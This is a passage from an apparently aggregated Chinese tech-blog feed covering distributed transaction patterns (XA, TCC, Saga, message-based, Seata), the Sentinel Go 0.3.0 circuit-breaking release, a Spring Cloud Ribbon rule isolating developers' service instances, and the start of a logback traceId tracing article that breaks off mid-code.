      • TM 在阶段 1 中询问 RM 前宕机,恢复后无需做任何操作。
      • TM 在阶段 1 中询问 RM 后宕机,可能只有部分 RM 收到了阶段 1 的请求,因此此时需要向 RM 发起回滚请求。
      • TM 在阶段 1 中询问 RM 完毕,但是在就准备完成日志时宕机,因不清楚宕机前的事务协商的结果,因此恢复后需要向 RM 发起回滚请求。
      • TM 在阶段 1 中记录完毕事务准备完成日志后宕机,恢复后可以根据日志发起提交或者回滚的指令。
      • TM 在阶段 2 中记录 commit/abort 日志前宕机,恢复后可以根据日志发起提交或者回滚指令。
      • TM 在阶段 2 中记录事务结束日志前宕机,恢复后可以根据日志发起提交或者回滚指令。
      • TM 在阶段 2 中记录事务结束日志后宕机,恢复后无需做任何操作。
      • 阶段 1 中,RM 有超时情况时,TM 按失败处理,给所有 RM 发送回滚指令。
      • 阶段 2 中,RM 有超时情况是,TM 需要对超时的 RM 持续重复发送指令。

      特点剖析

      • XA 两阶段提交协议设计上是要像本地事务一样实现事务的 ACID 四个特性:
      • 原子性:在 prepare 和 commit 阶段保证事务是原子性的。
      • 一致性:XA 协议实现的是强一致性。
      • 隔离性:XA 事务在完成之前一直持有资源的锁,所以可以做到写隔离。
      • 持久性:基于本地事务实现,所以这一点没有问题。

      XA 是出现最早的分布式事务规范,主流数据库 Oracle、MySQL、SQLServer 等都支持 XA 规范,J2EE 中的 JTA 规范也是参照 XA 规范编写的,与 XA 规范兼容。

      XA 是在资源管理层面实现的分布式事务模型,对业务的入侵度较低。

      XA 两阶段提交协议可以覆盖分布式事务的三种场景,但是全局事务的执行过程中,RM 一直持有资源的锁,如果参与的 RM 过多,尤其是跨服务的场景下,网络通信的次数和时间会急剧变多,所以阻塞的时间更长,系统的吞吐能力变得很差,事务死锁出现的概率也会变大,所以并不适合微服务架构场景中的跨服务的分布式事务模式。

      每一个 TM 域来说,由于 TM 是单点,存在单点故障风险,如果 TM 在阶段1之后挂掉,会导致参与的 RM 长时间收不到阶段 2 的请求而长期持有资源的锁,影响业务的吞吐能力。同时一次完整的全局事务,TM 和 RM 之间的交互多达 8 次,太繁琐,非常影响系统的处理性能。

      XA 两阶段协议可能会造成脑裂的异常,假如 TM 在阶段 2 通知 RM 提交事务时,如果指令发出后就宕机了,而只有部分 RM 收到了提交请求,那么当 TM 恢复的时候,就无法协调本次事务所有的 RM 本地事务的一致性了。

      XA 要处理的异常场景非常多,对框架的实现有一定的挑战,开源的实现,可以参考:Atomikos,Bitronix。

      针对 XA 两阶段提交中的问题,有人提出了三阶段提交的改进方案,三阶段提交方案主要解决了单点故障问题,并在 RM 侧也引入了超时机制,以避免资源的长时间锁定。但是三阶段提交方案依然无法避免脑裂的异常情况出现,实际应用案例很少,感兴趣的同学可以自行找相关资料了解。

      TCC

      TCC (Try、Commit、Cancel) 是一种补偿型事务,该模型要求应用的每个服务提供 try、confirm、cancel 三个接口,它的核心思想是通过对资源的预留(提供中间态),尽早释放对资源的加锁,如果事务可以提交,则完成对预留资源的确认,如果事务要回滚,则释放预留的资源。

      TCC 也是一种两阶段提交协议,可以看作 2PC/XA 的一种变种,但是不会长时间持有资源锁。

      TCC 模型将事务的提交划分为两个阶段:

      1)阶段 1

      完成业务检查(一致性)、预留业务资源(准隔离性),即 TCC 中的 try。

      2)阶段 2

      如果 try 阶段所有业务资源都预留成功,则执行 confirm 操作,否则执行 cancel 操作:

      • confirm:不做任何业务检查,仅仅使用预留的资源执行业务操作,如果失败会一直重试。
      • cancel:取消执行业务操作,释放预留的资源,如果失败会一直重试。

      image.png

      TCC 模式中,事务的发起者和参与者都需要记录事务日志,事务的发起者需要记录全局事务和各个分支事务的状态和信息;事务的参与者需要记录分支事务的状态。

      TCC 事务在执行过程中的任意环节,均可能发生宕机、重启、网络中断等异常情况,此时事务处于非原子状态和非最终一致状态,此时就需要根据主事务记录和分支事务记录的日志,去完成剩余分支事务的提交或者回滚,使整个分布式事务内所有参展达到最终一致的状态,实现事务的原子性。

      举例
      我们以一个简单的电商系统为例,小明在淘宝上花 100 元买了一本书,获赠 10 个积分,产品上有如下几个操作:

      • 订单系统创建商品订单
      • 支付系统接受小明的支付
      • 库存系统扣减产品库存
      • 会员系统给小明账户增加会员积分

      这几个动作需要作为一个事务执行,要同时成功或者同时撤销。

      如果采用 TCC 事务模式,那么各个系统需要改造为如下状态:

      1)订单系统

      • try:创建一个订单,状态显示为“待支付”
      • confirm:更新订单的状态为“已完成”
      • cancel:更新订单的状态为“已取消”

      2)支付系统

      • try:假设小明账户中有 1000 元,冻结小明账户中的 100 元,此时小明看到的余额依然是 1000 元。
      • confirm:将账户余额变为 900 元,并清除冻结记录。
      • concel:清除冻结记录。

      3)库存系统

      • try:假设库存中还生 10 本书,冻结其中的一本书,现实库存依然有 10 本书。
      • confirm:将剩余库存更新为 9 本书,并清除冻结记录。
      • cancel:清除冻结记录。

      4)会员系统

      • try:假设小明原因积分 3000 分,给小明账户预增加 10 积分,账户显示的积分依然是 3000 分。
      • confirm:将账户积分更新为 3010,并清除预增加记录。
      • cancel:清除预增加记录。

      特点剖析

      TCC 事务具备事务的四个特性:

      • 原子性:事务发起方协调各个分支事务全部提交或者全部回滚。
      • 一致性:TCC 事务提供最终一致性。
      • 隔离型:通过 try 预分配资源的方式来实现数据的隔离。
      • 持久性:交由各个分支事务来实现。

      TCC 事务模型对业务方侵入较大,需要业务方把功能的实现上由一个接口拆分为三个,开发成本较高。

      同时 TCC 事务为了解决异步网络中的通信失败或超时带来的异常情况,要求业务方在设计实现上要遵循三个策略:

      • 允许空回滚:原因是异常发生在阶段 1 时,部分参与方没有收到 try 请求从而触发整个事务的 cancel 操作,try 失败或者没有执行 try 操作的参与方收到 cancel 请求时,要进行空回滚操作。
      • 保持幂等性:原因是异常发生在阶段 2 时,比如网络超时,则会重复调用参与方的 confirm/cancel 方法,因此需要这两个方法实现上保证幂等性。
      • 防止资源悬挂:原因网络异常导致两个阶段无法保证严格的顺序执行,出现参与方侧 try 请求比 cancel 请求更晚到达的情况,cancel 会执行空回滚而确保事务的正确性,但是此时 try 方法也不可以再被执行。

      TCC 事务将分布式事务从资源层提到业务层来实现,可以让业务灵活选择资源的锁定粒度,并且全局事务执行过程中不会一直持有锁,所以系统的吞吐量比 2PC/XA 模式要高很多。

      支持 TCC 事务的开源框架有:ByteTCC、Himly、TCC-transaction。

      Saga

      Saga 并不是一个新概念,其相关论文在 1987 年就发布了,和 XA 两阶段提交规范出现的时间差不多。

      Saga 和 TCC 一样,也是一种补偿事务,但是它没有 try 阶段,而是把分布式事务看作一组本地事务构成的事务链。

      事务链中的每一个正向事务操作,都对应一个可逆的事务操作。Saga 事务协调器负责按照顺序执行事务链中的分支事务,分支事务执行完毕,即释放资源。如果某个分支事务失败了,则按照反方向执行事务补偿操作。

      假如一个 Saga 的分布式事务链有 n 个分支事务构成,[T1,T2,...,Tn],那么该分布式事务的执行情况有三种:

      • T1,T2,...,Tn:n 个事务全部执行成功了。
      • T1,T2,...,Ti,Ci,...,C2,C1:执行到第 i (i<=n) 个事务的时候失败了,则按照 i->1 的顺序依次调用补偿操作。如果补偿失败了,就一直重试。补偿操作可以优化为并行执行。
      • T1,T2,...,Ti (失败),Ti (重试),Ti (重试),...,Tn:适用于事务必须成功的场景,如果发生失败了就一直重试,不会执行补偿操作。

      image.png

      举例

      假如国庆节小明要出去玩,从北京出发,先去伦敦,在伦敦游玩三天,再去巴黎,在巴黎游玩三天,然后再返回北京。整个行程中涉及不同航空公司的机票预订以及伦敦和巴黎当地的酒店预订,小明的计划是如果任何一张机票或酒店预订不上,就取消本次出行计划。假如综合旅游出行服务平台提供这种一键下单的功能,那么这就是一个长事务,用 Saga 模式编排服务的话,就如下图所示:任何一个环节失败的话,就通过补偿操作取消前面的行程预订。

      image.png

      特点剖析

      Saga 事务是可以保障事务的三个特性:

      • 原子性:Saga 协调器可以协调事务链中的本地事务要么全部提交,要么全部回滚。
      • 一致性:Saga 事务可以实现最终一致性。
      • 持久性:基于本地事务,所以这个特性可以很好实现。

      但是 Saga 不保证事务隔离性的,本地事务提交后变更就对其他事务可见了。其他事务如果更改了已经提交成功的数据,可能会导致补偿操作失败。比如扣款失败,但是钱已经花掉了,业务设计上需要考虑这种场景并从业务设计上规避这种问题。

      Saga 事务和 TCC 事务一样,对业务实现要求高,要求业务设计实现上遵循三个策略:

      • 允许空补偿:网络异常导致事务的参与方只收到了补偿操作指令,因为没有执行过正常操作,因此要进行空补偿。
      • 保持幂等性:事务的正向操作和补偿操作都可能被重复触发,因此要保证操作的幂等性。
      • 防止资源悬挂:网络异常导致事务的正向操作指令晚于补偿操作指令到达,则要丢弃本次正常操作,否则会出现资源悬挂问题。

      虽然 Saga 和 TCC 都是补偿事务,但是由于提交阶段不同,所以两者也是有不同的:

      • Saga 是不完美补偿,补偿操作会留下之前原始事务操作的痕迹,需要考虑对业务上的影响。
      • TCC 是完美补偿,补偿操作会彻底清理之前的原始事务操作,用户是感知不到事务取消之前的状态信息的。
      • TCC 的事务可以更好的支持异步化,但是 Saga 模式一般在补偿阶段比较适合异步化。

      Saga 模式非常适合于业务流程长的长事务的场景,实现上对业务侵入低,所以非常适合微服务架构的场景。同时 Saga 采用的是一阶段提交模式,不会对资源长时间加锁,不存在“木桶效应”,所以采用这种模式架构的系统性能高、吞吐高。

      阿里巴巴的 Seata 开源项目和华为的 ServiceComb 开源项目都支持 Saga 模式。

      基于消息的分布式事务

      基于消息的分布式事务模式核心思想是通过消息系统来通知其他事务参与方自己事务的执行状态。

      消息系统的引入更有效的将事务参与方解耦,各个参与方可以异步执行。

      该种模式的难点在于解决本地事务执行和消息发送的一致性:两者要同时执行成功或者同时取消执行。

      实现上主要有两种方式:

      • 基于事务消息的方案
      • 基于本地消息的方案

      基于事务消息的分布式事务

      普通消息是无法解决本地事务执行和消息发送的一致性问题的。因为消息发送是一个网络通信的过程,发送消息的过程就有可能出现发送失败、或者超时的情况。超时有可能发送成功了,有可能发送失败了,消息的发送方是无法确定的,所以此时消息发送方无论是提交事务还是回滚事务,都有可能不一致性出现。

      解决这个问题,需要引入事务消息,事务消息和普通消息的区别在于事务消息发送成功后,处于 prepared 状态,不能被订阅者消费,等到事务消息的状态更改为可消费状态后,下游订阅者才可以监听到次消息。

      本地事务和事务消息的发送的处理流程如下:

      • 事务发起者预先发送一个事务消息。
      • MQ 系统收到事务消息后,将消息持久化,消息的状态是“待发送”,并给发送者一个 ACK 消息。
      • 事务发起者如果没有收到 ACK 消息,则取消本地事务的执行;如果收到了 ACK 消息,则执行本地事务,并给 MQ 系统再发送一个消息,通知本地事务的执行情况。
      • MQ 系统收到消息通知后,根据本地事务的执行情况更改事务消息的状态,如果成功执行,则将消息更改为“可消费”并择机下发给订阅者;如果事务执行失败,则删除该事务消息。
      • 本地事务执行完毕后,发给 MQ 的通知消息有可能丢失了。所以支持事务消息的 MQ 系统有一个定时扫描逻辑,扫描出状态仍然是“待发送”状态的消息,并向消息的发送方发起询问,询问这条事务消息的最终状态如何并根据结果更新事务消息的状态。因此事务的发起方需要给 MQ 系统提供一个事务消息状态查询接口。
      • 如果事务消息的状态是“可发送”,则 MQ 系统向下游参与者推送消息,推送失败会不停重试。
      • 下游参与者收到消息后,执行本地事务,本地事务如果执行成功,则给 MQ 系统发送 ACK 消息;如果执行失败,则不发送 ACK 消息,MQ 系统会持续推送给消息。

      image.png

      基于本地消息的分布式事务

      基于事务消息的模式对 MQ 系统要求较高,并不是所有 MQ 系统都支持事务消息的,RocketMQ 是目前为数不多的支持事务小的 MQ 系统。如果所依赖的 MQ 系统不支持事务消息,那么可以采用本地消息的分布式模式。

      该种模式的核心思想是事务的发起方维护一个本地消息表,业务执行和本地消息表的执行处在同一个本地事务中。业务执行成功,则同时记录一条“待发送”状态的消息到本地消息表中。系统中启动一个定时任务定时扫描本地消息表中状态为“待发送”的记录,并将其发送到 MQ 系统中,如果发送失败或者超时,则一直发送,知道发送成功后,从本地消息表中删除该记录。后续的消费订阅流程则与基于事务消息的模式雷同。

      image.png

      特点剖析

      基于消息的分布式事务模式对 ACID 特性的支持如下:

      • 原子性:最终可以实现分支事务都执行或者都不执行。
      • 一致性:提供最终一致性。
      • 隔离性:不保障隔离性。
      • 持久性:由本地事务来保证。

      基于消息的分布式事务可以将分布式系统之间更有效的解耦,各个事务参与方之间的调用不再是同步调用。

      对 MQ 系统的要求较高,对业务实现也有一定的侵入性,要么提供事务消息状态查询接口,要么需要维护本地消息表。并且原则上只接受下游分支事务的成功,不接受事务的回滚,如果失败就要一直重试,适用于对最终一致性敏感度较低的业务场景,例如跨企业的系统间的调用,适用的场景有限。

      最大努力通知型分布式事务

      最大努力通知型的分布式事务解决方案,也是基于 MQ 系统的一种解决方案,但是不要求 MQ 消息可靠。

      举例
      假设小明通过联通的网上营业厅为手机充话费,充值方式选择支付宝支付。整个操作的流程如下:

      • 小明选择充值金额“50 元”,支付方式“支付宝”。
      • 联通网上营业厅创建一个充值订单,状态为“支付中”,并跳转到支付宝的支付页面(此时进入了支付宝的系统中)。
      • 支付宝验明确认小明的支付后,从小明的账户中扣除 50 元,并向联通的账户中增加 50 元。执行完毕后向 MQ 系统发送一条消息,消息的内容标识支付是否成功,消息发送允许失败。
      • 如果消息发送成功,那么支付宝的通知服务会订阅到该消息,并调用联通的接口通知本次支付的结果。如果此时联通的服务挂掉了,导致通知失败了,则会按照 5min、10min、30min、1h、...、24h 等递增的时间间隔,间隔性重复调用联通的接口,直到调用成功或者达到预订的时间窗口上限后,则不再通知。这就是尽最大努力通知的含义。
      • 如果联通服务恢复正常,收到了支付宝的通知,如果支付成功,则给账户充值;如果支付失败,则取消充值。执行完毕后给支付宝通知服务确认响应,确认响应允许失败,支付宝系统会继续重试。所以联通的充值接口需要保持幂等性。
      • 如果联通服务故障时间很久,恢复正常后,已超出支付宝通知服务的时间窗口,则联通扫描“支付中”的订单,主动向支付宝发起请求,核验订单的支付结果。

      特点剖析

      最大努力通知型方案本质是通过引入定期校验机制来对最终一致性做兜底,对业务侵入性较低、对 MQ 系统要求较低,实现比较简单,适合于对最终一致性敏感度比较低、业务链路较短的场景,比如跨平台、跨企业的系统间的业务交互。

      分布式事务中间件

      阿里巴巴有两个分布式事务中间件可选择:

      • 蚂蚁金服团队开发的 XTS,金融云产品名称为 DTX。
      • 阿里巴巴中间件团队开发的 TXC。

      XTS 和 TXC 的功能差不多,都支持 TCC 事务模式,也都提供了对业务入侵度较低的分布式事务方案,目前这两个团队应该是在共建开源版的分布式事务中间件 Seata。此处我们介绍一下 Seata。

      Seata

      简单说一下 Seata (Simple Extensible Autonomous Transaction Architecture) 的历史:

      • 2014 年阿里巴巴就已经推出了分布式事务中间件产品 TXC (Taobao Transaction Constructor)。
      • 2016 年,TXC 进行了云产品化改造,提供了阿里云的云版本,名字叫做 GTS (Global Transaction Service) 。
      • 2019 年,GTS 宣布开源,开源项目的名字叫做 Seata。

      Seata 支持 TCC 模式、Saga 模式。但是 Seata 对 TCC 模式的支持提供了一种对业务入侵度为0的解决方案,这种方案叫做 AT (Automatic Transaction) 模式。下面我们重点说一下 AT 模式的运行机制:

      • 全局事务依然是基于各个分支事务来完成。Seata Server 协调各个分支事务要么一起提交,要么一起回滚。
      • 各个分支事务在运行时,Seata Client 通过对 SQL 执行的代理和拦截,通过解析 SQL 定位到行记录,记录下 SQL 执行前后的行数据快照,beforeImage 和 afterImage 共同构成了回滚日志,回滚日志记录在独立的表中。回滚日志的写入和业务数据的更改在在同一个本地事务中提交。
      • 分支事务完成后,立即释放对本地资源的锁,然后给 Seata 协调器上报事务执行的结果。
      • Seata 协调器汇总各个分支事务的完成情况,生成事务提交或者回滚的决议,将决议下发给 Seata Client。
      • 如果决议是提交事务,则 Seata Client 异步清理回滚日志;如果决议是回滚事务,则 Seata Client 根据回滚日志进行补偿操作,补偿前会对比当前数据快照和 afterImage 是否一致,如果不一致则回滚失败,需要人工介入。

      image.png

      AT 模式通过自动生成回滚日志的方式,使得业务方接入成本低,对业务入侵度很低,但是应用 AT 模式也有一些限制:

      • AT 模式只支持基于 ACID 事务的关系数据库。
      • AT 模式是通过对 SQL 解析来完成的,对 SQL 语法的支持有限,使用复杂 SQL 时需要考虑兼容性。
      • 目前不支持复合主键,业务表在设计时注意添加自增主键。
      • 全局事务默认的隔离级别是读未提交,但是通过 SELECT...FOR UPDATE 等语句,可以实现读已提交的隔离级别。通过全局排它写锁,可以做到的隔离级别介于读未提交和读已提交之间。

      总结

      单体数据库事务很容易满足事务的 ACID 四个特性,提供强一致性保证,但是分布式事务要完全遵循 ACID 特性会比较困难。为了追求分布式系统的高可用和高吞吐,分布式事务的解决方案一般提供的是最终一致性。

      我们把提供强一致性的事务称之为刚性事务,把提供最终一致性的事务称之为柔性事务。刚性事务可以完全满足 ACID 四个特性,柔性事务对事务的 ACID 特性的支持情况如下:

      • 原子性:完全支持。
      • 一致性:只提供最终一致性支持。
      • 隔离性:不完全保证,通常为了系统的吞吐和性能,会一定程度上放弃对隔离性的要求。
      • 持久性:完全支持。

      柔性事务一般遵循的是分布式领域中的 BASE 理论:

      • BA:Basic Availability,基本业务可用性。
      • S:Soft state,柔性状态。
      • E:Eventual consistency,最终一致性。

      BASE 理论,是对 CAP 理论的延伸,是对 CAP 中的一致性和可用性进行一个权衡的结果,理论的核心思想就是:我们无法做到强一致,但每个应用都可以根据自身的业务特点,采用适当的方式来使系统达到最终一致性。

      CAP 理论告诉我们一个分布式系统无法同时满足一致性, 可用性, 分区容错性,所以在设计上对这三点做取舍。刚性事务追求强一致性,所以牺牲了高可用性;柔性事务通过牺牲一致性换来了系统的高可用性。

      在系统选择分布式方案时,可以根据对一致性的要求进行选择,业务上有强一致性要求的场景时,优先考虑 XA 规范的两阶段提交;业务上只需要最终一致性的场景时,可以在根据具体场景在柔性事务方案中进行选择。

      参考

      [1]分布式事务中间件TXC(http://mw.alibaba-inc.com/product-txc.html
      [2]弹力设计之补偿事务(https://www.jianshu.com/p/8095001d79bb
      [3]分布式事务中间件ServiceComb
      http://servicecomb.apache.org/cn/docs/distributed-transactions-saga-implementation/
      [4]深入理解两阶段提交(https://sq.163yun.com/blog/article/165554812476866560)[5]Seata(https://seata.io/zh-cn/
      [6]TCC事务原理
      https://www.cnblogs.com/jajian/p/10014145.html
      [7]TCC事务异常场景(https://blog.csdn.net/dm_vincent/article/details/92432059
      [8]Compensating Transaction Pattern
      https://docs.microsoft.com/en-us/azure/architecture/patterns/compensating-transaction
      [9]基于消息的分布式事务(https://www.jianshu.com/p/04bad986a4a2
      [10]分布式事务概述(http://www.tianshouzhi.com/api/tutorials/distributed_transaction/383
      [11]初识Open/X XA
      https://www.jianshu.com/p/6c1fd2420274
      [12]DTP: XA Specification
      https://pubs.opengroup.org/onlinepubs/009680699/toc.pdf
      [13]DTP Model
      https://pubs.opengroup.org/onlinepubs/009249599/toc.pdf

      福利来了 | Java 程序员学习清单
      Java 初、中、高级程序员必不可少的学习清单,含学习方法论及各阶段技能、资料、课程等。
      识别下方二维码,或点击文末“阅读原文”立即查看:
      image.png

      ]]>
      阿里开源分布式限流框架 -Sentinel Go 0.3.0 发布,支持熔断降级能力 Fri, 02 May 2025 09:39:04 +0800 头图.png

      作者 | 宿何  阿里巴巴高级开发工程师

      Sentinel 是阿里巴巴开源的,面向分布式服务架构的流量控制组件,主要以流量为切入点,从限流、流量整形、熔断降级、系统自适应保护等多个维度来帮助开发者保障微服务的稳定性。Sentinel 承接了阿里巴巴近 10 年的 双11 大促流量的核心场景,例如秒杀、冷启动、消息削峰填谷、集群流量控制、实时熔断下游不可用服务等,是保障微服务高可用的利器,原生支持 Java/Go/C++ 等多种语言,并且提供 Istio/Envoy 全局流控支持来为 Service Mesh 提供高可用防护的能力。

      近期,Sentinel Go 0.3.0 正式发布,带来了熔断降级特性支持,可以针对 Go 服务中的不稳定调用进行自动熔断,避免出现级联错误/雪崩,是保障服务高可用重要的一环。结合 Sentinel Go 已经提供的 gRPC、Gin、Dubbo 等框架组件的适配模块,开发者可以快速在 Web、RPC 调用层面配置熔断降级规则来保护自身服务的稳定性。同时 0.3.0 版本也带来了 etcd 动态数据源模块,开发者可以方便地通过 etcd 来动态调整熔断降级策略。

      Sentinel Go 项目地址:https://github.com/alibaba/sentinel-golang

      为什么需要熔断降级

      一个服务常常会调用别的模块,可能是另外的一个远程服务、数据库,或者第三方 API 等。例如,支付的时候,可能需要远程调用银联提供的 API;查询某个商品的价格,可能需要进行数据库查询。然而,这个被依赖服务的稳定性是不能保证的。如果依赖的服务出现了不稳定的情况,请求的响应时间变长,那么调用服务的方法的响应时间也会变长,线程会产生堆积,最终可能耗尽业务自身的线程池,服务本身也变得不可用。

      1.png

      现代微服务架构都是分布式的,由非常多的服务组成。不同服务之间相互调用,组成复杂的调用链路。以上的问题在链路调用中会产生放大的效果。复杂链路上的某一环不稳定,就可能会层层级联,最终导致整个链路都不可用。因此我们需要对不稳定的服务进行熔断降级,暂时切断不稳定调用,避免局部不稳定因素导致整体的雪崩。

      Sentinel Go 熔断降级特性基于熔断器模式的思想,在服务出现不稳定因素(如响应时间变长,错误率上升)的时候暂时切断服务的调用,等待一段时间再进行尝试。一方面防止给不稳定服务“雪上加霜”,另一方面保护服务的调用方不被拖垮。Sentinel 支持两种熔断策略:基于响应时间(慢调用比例)和基于错误(错误比例/错误数),可以有效地针对各种不稳定的场景进行防护。

      2.png

      下面我们介绍一下 Sentinel 流控降级的一些最佳实践。

      流控降级最佳实践

      在服务提供方(Service Provider)的场景下,我们需要保护服务提供方不被流量洪峰打垮。我们通常根据服务提供方的服务能力进行流量控制,或针对特定的服务调用方进行限制。为了保护服务提供方不被激增的流量拖垮影响稳定性,我们可以结合前期的容量评估,通过 Sentinel 配置 QPS 模式的流控规则,当每秒的请求量超过设定的阈值时,会自动拒绝多余的请求。

      在服务调用端(Service Consumer)的场景下,我们需要保护服务调用方不被不稳定的依赖服务拖垮。借助 Sentinel 的信号量隔离策略(并发数流控规则),限制某个服务调用的并发量,防止大量慢调用挤占正常请求的资源;同时,借助熔断降级规则,当异常比率或业务慢调用比例超过某个阈值后将调用自动熔断,直到一段时间过后再尝试恢复。熔断期间我们可以提供默认的处理逻辑(fallback),熔断期间的调用都会返回 fallback 的结果,而不会再去尝试本已非常不稳定的服务。需要注意的是,即使服务调用方引入了熔断降级机制,我们还是需要在 HTTP 或 RPC 客户端配置请求超时时间,来做一个兜底的保护。

      同时 Sentinel 还提供全局维度的系统自适应保护能力,结合系统的 Load、CPU 使用率以及服务的入口 QPS、响应时间和并发量等几个维度的监控指标,通过自适应的流控策略,让系统的入口流量和系统的负载达到一个平衡,让系统尽可能跑在最大吞吐量的同时保证系统整体的稳定性。系统规则可以作为整个服务的一个兜底防护策略,保障服务不挂。

      3.png

      Let's start hacking!

      Sentinel Go 版本正在快速演进中,我们非常欢迎感兴趣的开发者参与贡献,一起来主导未来版本的演进。Sentinel Go 版本的演进离不开社区的贡献。若您有意愿参与贡献,欢迎联系我们加入 Sentinel 贡献小组一起成长(Sentinel 开源讨论钉钉群:30150716)。

      同时,一年一度的阿里巴巴编程之夏(Alibaba Summer of Code)开始啦!如果你是在校的学生,有兴趣参与 Sentinel 项目的开发和演进,不要错过此次机会,欢迎 pick 感兴趣的 issue 提交提案:https://github.com/alibaba/Sentinel/issues/1497

      Now let's start hacking!

      第 3 期云原生网络研讨会邀您参加

      今晚 19:00 - 20:00,阿里云技术专家将为大家带来《如何为云原生应用带来稳定高效的部署能力?》,届时将会介绍阿里经济体大规模应用上云过程中遇到的核心部署问题、采取的对应解决方案,以及这些方案沉淀为通用化能力输出开源后,如何帮助阿里云上的用户提升应用部署发布的效率与稳定性。

      听众可获取以下收益:

      • 了解阿里经济体大规模应用上云的实践经验,如何解决原生 K8s workload 不满足场景需求的问题;
      • 作为外部用户,如何体验和使用上阿里经济体上云所沉淀下来的应用部署发布能力;
      • 演示阿里巴巴针对大规模 K8s 集群如何做到 DaemonSet 高可用的灰度升级(即将开源!)

      点击链接即可预约直播:https://yq.aliyun.com/live/2898

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      Spring Cloud开发人员如何解决服务冲突和实例乱窜? Fri, 02 May 2025 09:39:04 +0800 封面.png

      一、背景

      在我们开发微服务架构系统时,虽然说每个微服务都是孤立的可以单独开发,但实际上并非如此,要调试和测试你的服务不仅需要您的微服务启动和运行,还需要它的上下文服务、依赖的基础服务等都要运行;但如果你的系统服务数和依赖比较多呢,那就是一个比较棘手的问题!有没有办法能提高开发效率呢?

      微服务开发.jpg

      如上图所示,我们能不能用服务器把所有的服务都部署起来,然后开发只在本地运行自己所负责开发的服务,因为需要依赖其他服务所以本地启动的服务也需要注册到公共的注册中心里;

      例子中业务服务B有3台实例注册到注册中心里
      分别是:服务上的、开发A与开发B自己本机启动的

      但是这样做又会出现新的问题:服务会冲突乱窜,意思就是开发A在debug自己的业务服务B服务的时候可能请求会跳转到其他人的实例上(服务器、开发B)

       

      二、解决思路

      解决这个服务乱窜问题有一个比较优雅的方式就是自定义负载均衡规则,主要实现以下目标:

      1. 普通用户访问服务器上的页面时,请求的所有路由只调用服务器上的实例
      2. 开发A访问时,请求的所有路由优先调用开发A本机启动的实例,如果没有则调用服务器上的实例
      3. 开发B访问时同上,请求的所有路由优先调用开发B本机启动的实例,如果没有则调用服务器上的实例

       

      三、具体实现

      要实现上面的目标有两个比较关键的问题需要解决

      1. 区分不同用户的服务实例
      2. 实现自定义负载均衡规则

      3.1. 区分不同用户的服务实例

      直接使用注册中心的元数据(metadata)来区分就可以了

      主流的注册中心都带有元数据管理
      Nacos为例,只需要在配置文件下添加

      spring:
        cloud:
          nacos:
            discovery:
              server-addr: localhost:8848
              metadata:
                version: zlt2

      metadata下的version 就是我添加的元数据key为version,value为zlt

      启动服务后元数据就会注册上去,如下图
      元数据.jpg

      经过元数据区分后,目前是下面这个情况

      • 服务器的实例version为空
      • 开发人员自己本地启动的实例version为唯一标识(自己的名字)

      微服务开发2.jpg

      3.2. 自定义负载均衡规则

      首先在Spring Cloud微服务框架里实例的负载均衡是由Ribbon负责。
      CustomIsolationRule详细类信息可查看:CustomIsolationRule.java

      public class CustomIsolationRule extends RoundRobinRule {
          /**
           * 优先根据版本号取实例
           */
          @Override
          public Server choose(ILoadBalancer lb, Object key) {
              if (lb == null) {
                  return null;
              }
              String version = LbIsolationContextHolder.getVersion();
              List<Server> targetList = null;
              List<Server> upList = lb.getReachableServers();
              if (StrUtil.isNotEmpty(version)) {
                  //取指定版本号的实例
                  targetList = upList.stream().filter(
                          server -> version.equals(
                                  ((NacosServer) server).getMetadata().get(CommonConstant.METADATA_VERSION)
                          )
                  ).collect(Collectors.toList());
              }
      
              if (CollUtil.isEmpty(targetList)) {
                  //只取无版本号的实例
                  targetList = upList.stream().filter(
                          server -> {
                              String metadataVersion = ((NacosServer) server).getMetadata().get(CommonConstant.METADATA_VERSION);
                              return StrUtil.isEmpty(metadataVersion);
                          }
                  ).collect(Collectors.toList());
              }
      
              if (CollUtil.isNotEmpty(targetList)) {
                  return getServer(targetList);
              }
              return super.choose(lb, key);
          }
      
          /**
           * 随机取一个实例
           */
          private Server getServer(List<Server> upList) {
              int nextInt = RandomUtil.randomInt(upList.size());
              return upList.get(nextInt);
          }
      }

      集成轮询规则RoundRobinRule来实现,主要的逻辑为

      1. 根据上游输入的版本号version,有值的话则取服务元信息version值一样的实例
      2. 上游的版本号version没值或者该版本号匹配不到任何服务,则只取服务元信息version值为空的实例

      并通过配置开关控制是否开启自定义负载规则

      @Configuration
      @ConditionalOnProperty(value = "zlt.ribbon.isolation.enabled", havingValue = "true")
      @RibbonClients(defaultConfiguration = {RuleConfigure.class})
      public class LbIsolationConfig {
      
      }

       

      四、总结

      上面提到的区分服务实例自定义负载规则为整个解决思路的核心点,基本实现了服务实例的隔离,剩下要做的就是上游的version怎样传递呢?,下面我提供两个思路

      • 开发人员自己启动前端工程,通过配置参数,统一在前端工程传递version
      • 通过postman调用接口的时候在header参数中添加
        postman.png
      ]]>
      日志排查问题困难?分布式日志链路跟踪来帮你 Fri, 02 May 2025 09:39:04 +0800 封面.jpg

      一、背景

      开发排查系统问题用得最多的手段就是查看系统日志,在分布式环境中一般使用ELK来统一收集日志,但是在并发大时使用日志定位问题还是比较麻烦,由于大量的其他用户/其他线程的日志也一起输出穿行其中导致很难筛选出指定请求的全部相关日志,以及下游线程/服务对应的日志。

       

      二、解决思路

      • 每个请求都使用一个唯一标识来追踪全部的链路显示在日志中,并且不修改原有的打印方式(代码无入侵)
      • 使用Logback的MDC机制日志模板中加入traceId标识,取值方式为%X{traceId}

      MDC(Mapped Diagnostic Context,映射调试上下文)是 log4j 和 logback 提供的一种方便在多线程条件下记录日志的功能。MDC 可以看成是一个与当前线程绑定的Map,可以往其中添加键值对。MDC 中包含的内容可以被同一线程中执行的代码所访问。当前线程的子线程会继承其父线程中的 MDC 的内容。当需要记录日志时,只需要从 MDC 中获取所需的信息即可。MDC 的内容则由程序在适当的时候保存进去。对于一个 Web 应用来说,通常是在请求被处理的最开始保存这些数据。

       

      三、方案实现

      由于MDC内部使用的是ThreadLocal所以只有本线程才有效,子线程和下游的服务MDC里的值会丢失;所以方案主要的难点是解决值的传递问题。

      3.1. 修改日志模板

      logback配置文件模板格式添加标识%X{traceId}
      logback模板.png

       

      3.2. 网关添加过滤器

      生成traceId并通过header传递给下游服务

      @Component
      public class TraceFilter extends ZuulFilter {
          @Autowired
          private TraceProperties traceProperties;
      
          @Override
          public String filterType() {
              return FilterConstants.PRE_TYPE;
          }
      
          @Override
          public int filterOrder() {
